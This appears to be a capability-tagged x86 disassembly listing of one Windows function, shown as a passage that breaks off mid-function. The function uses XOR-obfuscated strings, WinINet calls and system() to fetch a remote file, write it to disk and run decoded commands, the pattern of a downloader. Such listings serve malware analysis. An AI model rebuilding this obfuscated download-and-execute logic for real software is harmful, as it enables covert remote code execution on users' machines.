Function at 0x405ac0
Capabilities:
Connect to http server
Create http request
Download and write a file
Execute command
Manipulate console buffer
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Send data
Send http request
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41159f
mov eax, dword fs:[0]
push eax
sub esp, 0x3c4
mov eax, dword [0x419008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x2c0], 0
mov dword [ebp - 0x2b0], 0
mov dword [ebp - 0x2ac], 0xf
mov byte [ebp - 0x2c0], 0
mov dword [ebp - 0x2f0], 0
mov dword [ebp - 0x2e0], 0
mov dword [ebp - 0x2dc], 0xf
mov byte [ebp - 0x2f0], 0
mov dword [ebp - 0x30c], 0
mov dword [ebp - 0x2fc], 0
mov dword [ebp - 0x2f8], 0xf
mov byte [ebp - 0x30c], 0
lea eax, [ebp - 0x30c]
mov byte [ebp - 4], 4
push eax
sub esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
lea esi, [ebp - 0x2f0]
lea edi, [ebp - 0x2c0]
push eax
call fcn.0040ba30
mov edx, esi
mov ecx, edi
call fcn.00405340
add esp, 0x1c
mov ecx, 0x9d
xor edx, edx
nop dword [eax]
mov al, byte [edx + 0x414424]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x290], al
and ecx, 0x800000ff
jns 0x405bc0
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x11
jl 0x405ba0
mov byte [ebp - 0x27f], 0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x290]
mov dword [ebp - 0x2d8], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x2c8], 0
mov dword [ebp - 0x2c4], 0xf
mov byte [ebp - 0x2d8], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x405c00
sub ecx, edx
lea eax, [ebp - 0x290]
push ecx
push eax
lea ecx, [ebp - 0x2d8]
call fcn.0040d8a0
mov byte [ebp - 4], 7
lea edx, [ebp - 0x2d8]
cmp dword [ebp - 0x2c4], 0x10
lea ecx, [ebp - 0x2c0]
push 0x419758
cmovae edx, dword [ebp - 0x2d8]
cmp dword [ebp - 0x2ac], 0x10
cmovae ecx, dword [ebp - 0x2c0]
sub esp, 8
call fcn.004050c0
mov eax, dword fs:[0x2c]
add esp, 0xc
mov dword [ebp - 0x2a4], 0x1d370036
mov word [ebp - 0x2a0], 0x55ee
mov byte [ebp - 0x29e], 0xb1
mov ebx, dword [eax]
mov dword [ebp - 0x3d0], ebx
mov eax, dword [ebx + 0x3ec]
test al, 1
jne 0x405cec
or eax, 1
mov dword [ebx + 0x3ec], eax
mov byte [ebp - 4], 8
xorps xmm0, xmm0
movlpd qword [ebp - 0x27c], xmm0
mov edx, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x27c]
mov byte [ebx + 0x1db], 1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x2a4]
mov byte [ebx + ecx + 0x1d4], al
add ecx, 1
adc edx, 0
jne 0x405cdb
cmp ecx, 7
jb 0x405cc0
push 0x4136c0
call fcn.0040fe53
add esp, 4
mov byte [ebp - 4], 7
lea esi, [ebx + 0x1d4]
mov ecx, esi
call fcn.0040d230
mov eax, 0x419758
nop
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x405d20
test cl, cl
je 0x405d1c
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x405d20
add eax, 2
add esi, 2
test cl, cl
jne 0x405d00
xor eax, eax
jmp 0x405d25
sbb eax, eax
or eax, 1
test eax, eax
jne 0x405e94
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xc
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x40df60
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [ebx + 0x318]
mov dword [ebp - 0x28c], 0x513a2852
mov dword [ebp - 0x288], 0xeec13843
mov dword [ebp - 0x284], 0x1f362a71
mov word [ebp - 0x280], 0x5d16
test al, 1
jne 0x405ddc
or eax, 1
mov dword [ebx + 0x318], eax
mov byte [ebp - 4], 0x1c
xorps xmm0, xmm0
movlpd qword [ebp - 0x2a4], xmm0
mov edx, dword [ebp - 0x2a0]
mov ecx, dword [ebp - 0x2a4]
mov byte [ebx + 0x562], 1
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x28c]
mov byte [ebx + ecx + 0x554], al
add ecx, 1
adc edx, 0
jne 0x405dcb
cmp ecx, 0xe
jb 0x405db0
push 0x413280
call fcn.0040fe53
add esp, 4
mov byte [ebp - 4], 7
lea ecx, [ebx + 0x554]
call fcn.0040cbd0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [ebx + 0x554]
push 0x40df60
call fcn.0040dd20
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [ebx + 0x698]
mov dword [ebp - 0x2a4], 0xc21694b1
mov word [ebp - 0x2a0], 0x337c
test al, 1
jne 0x405e78
or eax, 1
mov dword [ebx + 0x698], eax
mov byte [ebp - 4], 0x1d
xorps xmm0, xmm0
movlpd qword [ebp - 0x27c], xmm0
mov edx, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x27c]
mov byte [ebx + 0x37a], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x2a4]
mov byte [ebx + ecx + 0x374], al
add ecx, 1
adc edx, 0
jne 0x405e6b
cmp ecx, 6
jb 0x405e50
push 0x413240
call fcn.0040fe53
add esp, 4
lea esi, [ebx + 0x374]
mov ecx, esi
call fcn.0040cb70
push esi
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
jmp 0x4069bb
lea eax, [ebp - 0x2f4]
mov dword [ebp - 0x2f4], 0x200
push eax
lea eax, [ebp - 0x210]
push eax
push 0
call dword [sym.imp.urlmon.dll_ObtainUserAgentString]
mov eax, dword [ebx + 0x458]
mov dword [ebp - 0x310], 0x433dca46
test al, 1
jne 0x405f2c
or eax, 1
mov dword [ebx + 0x458], eax
mov byte [ebp - 4], 9
xorps xmm0, xmm0
movlpd qword [ebp - 0x27c], xmm0
mov edx, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x27c]
mov byte [ebx + 0x700], 1
nop dword [eax]
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x310]
mov byte [ebx + ecx + 0x6fc], al
add ecx, 1
adc edx, 0
jne 0x405f1b
cmp ecx, 4
jb 0x405f00
push 0x413680
call fcn.0040fe53
add esp, 4
mov byte [ebp - 4], 7
lea esi, [ebx + 0x6fc]
mov ecx, esi
call fcn.0040d1d0
push esi
lea eax, [ebp - 0x2a4]
push 5
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
add esp, 0xc
lea eax, [ebp - 0x210]
push 0
push 0
push 0
push 1
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ecx, eax
mov dword [ebp - 0x310], ecx
test ecx, ecx
jne 0x406134
push 0xfffffffffffffff5
mov dword [ebp - 0x310], eax
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebx, eax
lea eax, [ebp - 0x294]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
movsx edi, word [ebp - 0x292]
lea eax, [ebp - 0x2a8]
movsx ecx, word [ebp - 0x294]
mov esi, dword [ebp - 0x310]
push eax
imul edi, ecx
push esi
push edi
push 0x20
push ebx
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterA]
lea eax, [ebp - 0x2a8]
push eax
push esi
push edi
push dword [ebp - 0x28c]
push ebx
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputAttribute]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x40df60
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edi, dword [ebp - 0x3d0]
mov dword [ebp - 0x28c], 0xbe5b1904
mov dword [ebp - 0x288], 0x716871e3
mov dword [ebp - 0x284], 0xb45d326d
mov eax, dword [edi + 0x338]
mov word [ebp - 0x280], 0x1fe3
test al, 1
jne 0x40607c
or eax, 1
mov dword [edi + 0x338], eax
mov byte [ebp - 4], 0xa
xorps xmm0, xmm0
movlpd qword [ebp - 0x27c], xmm0
mov edx, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x27c]
mov byte [edi + 0x392], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x28c]
mov byte [edi + ecx + 0x384], al
add ecx, 1
adc edx, 0
jne 0x40606b
cmp ecx, 0xe
jb 0x406050
push 0x413640
call fcn.0040fe53
add esp, 4
mov byte [ebp - 4], 7
lea ecx, [edi + 0x384]
call fcn.0040d170
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [edi + 0x384]
push 0x40df60
call fcn.0040dd20
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [edi + 0x2fc]
mov dword [ebp - 0x27c], 0xa60cccad
mov word [ebp - 0x278], 0x99b6
test al, 1
jne 0x406118
or eax, 1
mov dword [edi + 0x2fc], eax
mov byte [ebp - 4], 0xb
xorps xmm0, xmm0
movlpd qword [ebp - 0x29c], xmm0
mov edx, dword [ebp - 0x298]
mov ecx, dword [ebp - 0x29c]
mov byte [edi + 0x1ba], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x27c]
mov byte [edi + ecx + 0x1b4], al
add ecx, 1
adc edx, 0
jne 0x40610b
cmp ecx, 6
jb 0x4060f0
push 0x413600
call fcn.0040fe53
add esp, 4
lea esi, [edi + 0x1b4]
mov ecx, esi
call fcn.0040d110
push esi
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
jmp 0x4069bb
cmp dword [ebp - 0x2ac], 0x10
lea eax, [ebp - 0x2c0]
push 0
cmovae eax, dword [ebp - 0x2c0]
push 0
push 3
push 0
push 0
push 0x50
push eax
push ecx
call dword [sym.imp.WININET.dll_InternetConnectA]
mov edi, eax
mov dword [ebp - 0x298], edi
test edi, edi
jne 0x406324
push 0xfffffffffffffff5
mov dword [ebp - 0x310], eax
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebx, eax
lea eax, [ebp - 0x294]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
movsx edi, word [ebp - 0x292]
lea eax, [ebp - 0x2a8]
movsx ecx, word [ebp - 0x294]
mov esi, dword [ebp - 0x310]
push eax
imul edi, ecx
push esi
push edi
push 0x20
push ebx
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterA]
lea eax, [ebp - 0x2a8]
push eax
push esi
push edi
push dword [ebp - 0x28c]
push ebx
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputAttribute]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x40df60
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edi, dword [ebp - 0x3d0]
mov dword [ebp - 0x288], 0xe2fd1224
mov dword [ebp - 0x284], 0xb3e9bbe
mov word [ebp - 0x280], 0xf00
mov eax, dword [edi + 0x1d0]
mov byte [ebp - 0x27e], 0x93
test al, 1
jne 0x40626d
or eax, 1
mov dword [edi + 0x1d0], eax
mov byte [ebp - 4], 0xc
xorps xmm0, xmm0
movlpd qword [ebp - 0x27c], xmm0
mov edx, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x27c]
mov byte [edi + 0x547], 1
mov al, byte [ebp + ecx - 0x288]
mov byte [edi + ecx + 0x53c], al
add ecx, 1
adc edx, 0
jne 0x40625c
cmp ecx, 0xb
jb 0x406241
push 0x4135c0
call fcn.0040fe53
add esp, 4
mov byte [ebp - 4], 7
lea ecx, [edi + 0x53c]
call fcn.0040d0b0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [edi + 0x53c]
push 0x40df60
call fcn.0040dd20
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [edi + 0x6ac]
mov dword [ebp - 0x27c], 0x6c56b43d
mov word [ebp - 0x278], 0x81a2
test al, 1
jne 0x406308
or eax, 1
mov dword [edi + 0x6ac], eax
mov byte [ebp - 4], 0xd
xorps xmm0, xmm0
movlpd qword [ebp - 0x29c], xmm0
mov edx, dword [ebp - 0x298]
mov ecx, dword [ebp - 0x29c]
mov byte [edi + 0x262], 1
nop
mov al, byte [ebp + ecx - 0x27c]
mov byte [edi + ecx + 0x25c], al
add ecx, 1
adc edx, 0
jne 0x4062fb
cmp ecx, 6
jb 0x4062e0
push 0x413580
call fcn.0040fe53
add esp, 4
lea esi, [edi + 0x25c]
mov ecx, esi
call fcn.0040d050
push esi
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
jmp 0x4069bb
mov eax, dword [ebx + 0x6f4]
mov dword [ebp - 0x288], 0x8343811f
mov dword [ebp - 0x284], 0x2cb93aea
mov byte [ebp - 0x280], 0x57
test al, 1
jne 0x4063ac
or eax, 1
mov dword [ebx + 0x6f4], eax
mov byte [ebp - 4], 0xe
xorps xmm0, xmm0
movlpd qword [ebp - 0x27c], xmm0
mov edx, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x27c]
mov byte [ebx + 0x1ed], 1
nop dword [eax]
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x288]
mov byte [ecx + ebx + 0x1e4], al
add ecx, 1
adc edx, 0
jne 0x40639b
cmp ecx, 9
jb 0x406380
push 0x413540
call fcn.0040fe53
add esp, 4
mov byte [ebp - 4], 7
lea esi, [ebx + 0x1e4]
mov ecx, esi
call fcn.0040cff0
cmp dword [ebp - 0x2dc], 0x10
lea eax, [ebp - 0x2f0]
push 0
cmovae eax, dword [ebp - 0x2f0]
push 0x8404f700
push 0
push 0
push esi
push eax
lea eax, [ebp - 0x2a4]
push eax
push edi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov esi, eax
test esi, esi
jne 0x4065a4
push 0xfffffffffffffff5
mov dword [ebp - 0x310], eax
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebx, eax
lea eax, [ebp - 0x294]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
movsx edi, word [ebp - 0x292]
lea eax, [ebp - 0x2a8]
movsx ecx, word [ebp - 0x294]
push eax
imul edi, ecx
push esi
push edi
push 0x20
push ebx
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterA]
lea eax, [ebp - 0x2a8]
push eax
push esi
push edi
push dword [ebp - 0x28c]
push ebx
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputAttribute]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x40df60
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edi, dword [ebp - 0x3d0]
mov dword [ebp - 0x28c], 0x84723e93
mov dword [ebp - 0x288], 0x7b6d886a
mov dword [ebp - 0x284], 0x836c2984
mov eax, dword [edi + 0x688]
mov byte [ebp - 0x280], 0xf
test al, 1
jne 0x4064ee
or eax, 1
mov dword [edi + 0x688], eax
mov byte [ebp - 4], 0xf
xorps xmm0, xmm0
movlpd qword [ebp - 0x27c], xmm0
mov edx, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x27c]
mov byte [edi + 0x779], 1
mov al, byte [ebp + ecx - 0x28c]
mov byte [ecx + edi + 0x76c], al
add ecx, 1
adc edx, 0
jne 0x4064dd
cmp ecx, 0xd
jb 0x4064c2
push 0x413500
call fcn.0040fe53
add esp, 4
mov byte [ebp - 4], 7
lea ecx, [edi + 0x76c]
call fcn.0040cf90
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [edi + 0x76c]
push 0x40df60
call fcn.0040dd20
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [edi + 0x140]
mov dword [ebp - 0x27c], 0xcef2c021
mov word [ebp - 0x278], 0x49fe
test al, 1
jne 0x406588
or eax, 1
mov dword [edi + 0x140], eax
mov byte [ebp - 4], 0x10
xorps xmm0, xmm0
movlpd qword [ebp - 0x29c], xmm0
mov edx, dword [ebp - 0x298]
mov ecx, dword [ebp - 0x29c]
mov byte [edi + 0x762], 1
nop
mov al, byte [ebp + ecx - 0x27c]
mov byte [ecx + edi + 0x75c], al
add ecx, 1
adc edx, 0
jne 0x40657b
cmp ecx, 6
jb 0x406560
push 0x4134c0
call fcn.0040fe53
add esp, 4
lea esi, [edi + 0x75c]
mov ecx, esi
call fcn.0040cf30
push esi
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
jmp 0x4069bb
push 0
push 0
push 0
push 0
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
push 0x41441c
cmovae eax, dword [ebp + 0x20]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov ebx, eax
add esp, 8
mov dword [ebp - 0x278], ebx
test ebx, ebx
jne 0x4067a4
push 0xfffffffffffffff5
mov dword [ebp - 0x310], eax
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebx, eax
lea eax, [ebp - 0x294]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
movsx edi, word [ebp - 0x292]
lea eax, [ebp - 0x298]
movsx ecx, word [ebp - 0x294]
mov esi, dword [ebp - 0x310]
push eax
imul edi, ecx
push esi
push edi
push 0x20
push ebx
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterA]
lea eax, [ebp - 0x298]
push eax
push esi
push edi
push dword [ebp - 0x28c]
push ebx
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputAttribute]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x40df60
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edi, dword [ebp - 0x3d0]
mov dword [ebp - 0x28c], 0x475c4550
mov dword [ebp - 0x288], 0x2fc2e379
mov dword [ebp - 0x284], 0x5b7c155a
mov eax, dword [edi + 0x3e4]
mov word [ebp - 0x280], 0xd736
mov byte [ebp - 0x27e], 0xab
test al, 1
jne 0x4066ec
or eax, 1
mov dword [edi + 0x3e4], eax
mov byte [ebp - 4], 0x11
xorps xmm0, xmm0
movlpd qword [ebp - 0x27c], xmm0
mov edx, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x27c]
mov byte [edi + 0x2df], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x28c]
mov byte [ecx + edi + 0x2d0], al
add ecx, 1
adc edx, 0
jne 0x4066db
cmp ecx, 0xf
jb 0x4066c0
push 0x413480
call fcn.0040fe53
add esp, 4
mov byte [ebp - 4], 7
lea ecx, [edi + 0x2d0]
call fcn.0040ced0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [edi + 0x2d0]
push 0x40df60
call fcn.0040dd20
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [edi + 0x798]
mov dword [ebp - 0x27c], 0x40a48aab
mov word [ebp - 0x278], 0xdf08
test al, 1
jne 0x406788
or eax, 1
mov dword [edi + 0x798], eax
mov byte [ebp - 4], 0x12
xorps xmm0, xmm0
movlpd qword [ebp - 0x29c], xmm0
mov edx, dword [ebp - 0x298]
mov ecx, dword [ebp - 0x29c]
mov byte [edi + 0x54e], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x27c]
mov byte [ecx + edi + 0x548], al
add ecx, 1
adc edx, 0
jne 0x40677b
cmp ecx, 6
jb 0x406760
push 0x413440
call fcn.0040fe53
add esp, 4
lea esi, [edi + 0x548]
mov ecx, esi
call fcn.0040ce70
push esi
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
jmp 0x4069bb
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
lea eax, [ebp - 0x2a8]
push eax
push 0x32
lea eax, [ebp - 0x274]
push eax
push esi
call edi
test eax, eax
je 0x4067fa
mov eax, dword [ebp - 0x2a8]
push ebx
test eax, eax
je 0x406b70
push eax
lea eax, [ebp - 0x274]
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
lea eax, [ebp - 0x2a8]
push eax
push 0x32
lea eax, [ebp - 0x274]
push eax
push esi
call edi
test eax, eax
jne 0x4067c1
xor eax, eax
push 0xfffffffffffffff5
mov dword [ebp - 0x310], eax
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebx, eax
lea eax, [ebp - 0x294]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
movsx edi, word [ebp - 0x292]
lea eax, [ebp - 0x298]
movsx ecx, word [ebp - 0x294]
mov esi, dword [ebp - 0x310]
push eax
imul edi, ecx
push esi
push edi
push 0x20
push ebx
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterA]
lea eax, [ebp - 0x298]
push eax
push esi
push edi
push dword [ebp - 0x28c]
push ebx
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputAttribute]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x40df60
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edi, dword [ebp - 0x3d0]
mov dword [ebp - 0x288], 0x373cb0a9
mov dword [ebp - 0x284], 0xee9b70ed
mov word [ebp - 0x280], 0xd5a9
mov eax, dword [edi + 0x148]
test al, 1
jne 0x4068fc
or eax, 1
mov dword [edi + 0x148], eax
mov byte [ebp - 4], 0x13
xorps xmm0, xmm0
movlpd qword [ebp - 0x29c], xmm0
mov edx, dword [ebp - 0x298]
mov ecx, dword [ebp - 0x29c]
mov byte [edi + 0x6d2], 1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x288]
mov byte [ecx + edi + 0x6c8], al
add ecx, 1
adc edx, 0
jne 0x4068eb
cmp ecx, 0xa
jb 0x4068d0
push 0x413400
call fcn.0040fe53
add esp, 4
mov byte [ebp - 4], 7
lea ecx, [edi + 0x6c8]
call fcn.0040ce10
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [edi + 0x6c8]
push 0x40df60
call fcn.0040dd20
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [edi + 0x640]
mov dword [ebp - 0x29c], 0xc6ae569f
mov word [ebp - 0x298], 0x1db8
test al, 1
jne 0x406998
or eax, 1
mov dword [edi + 0x640], eax
mov byte [ebp - 4], 0x14
xorps xmm0, xmm0
movlpd qword [ebp - 0x314], xmm0
mov edx, dword [ebp - 0x310]
mov ecx, dword [ebp - 0x314]
mov byte [edi + 0x132], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x29c]
mov byte [ecx + edi + 0x12c], al
add ecx, 1
adc edx, 0
jne 0x40698b
cmp ecx, 6
jb 0x406970
push 0x4133c0
call fcn.0040fe53
add esp, 4
lea esi, [edi + 0x12c]
mov ecx, esi
call fcn.0040cdb0
push esi
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push dword [ebp - 0x278]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 8
xor bl, bl
mov edx, dword [ebp - 0x2c4]
cmp edx, 0x10
jb 0x4069f7
mov ecx, dword [ebp - 0x2d8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4069ed
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406b6a
push edx
push ecx
call fcn.0040fd9c
add esp, 8
mov edx, dword [ebp - 0x2f8]
mov dword [ebp - 0x2c8], 0
mov dword [ebp - 0x2c4], 0xf
mov byte [ebp - 0x2d8], 0
cmp edx, 0x10
jb 0x406a4c
mov ecx, dword [ebp - 0x30c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406a42
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406b6a
push edx
push ecx
call fcn.0040fd9c
add esp, 8
mov edx, dword [ebp - 0x2dc]
cmp edx, 0x10
jb 0x406a86
mov ecx, dword [ebp - 0x2f0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406a7c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406b6a
push edx
push ecx
call fcn.0040fd9c
add esp, 8
mov edx, dword [ebp - 0x2ac]
mov dword [ebp - 0x2e0], 0
mov dword [ebp - 0x2dc], 0xf
mov byte [ebp - 0x2f0], 0
cmp edx, 0x10
jb 0x406adb
mov ecx, dword [ebp - 0x2c0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406ad1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406b6a
push edx
push ecx
call fcn.0040fd9c
add esp, 8
mov edx, dword [ebp + 0x1c]
mov dword [ebp - 0x2b0], 0
mov dword [ebp - 0x2ac], 0xf
mov byte [ebp - 0x2c0], 0
cmp edx, 0x10
jb 0x406b26
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406b1c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406b6a
push edx
push ecx
call fcn.0040fd9c
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x40716e
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x407164
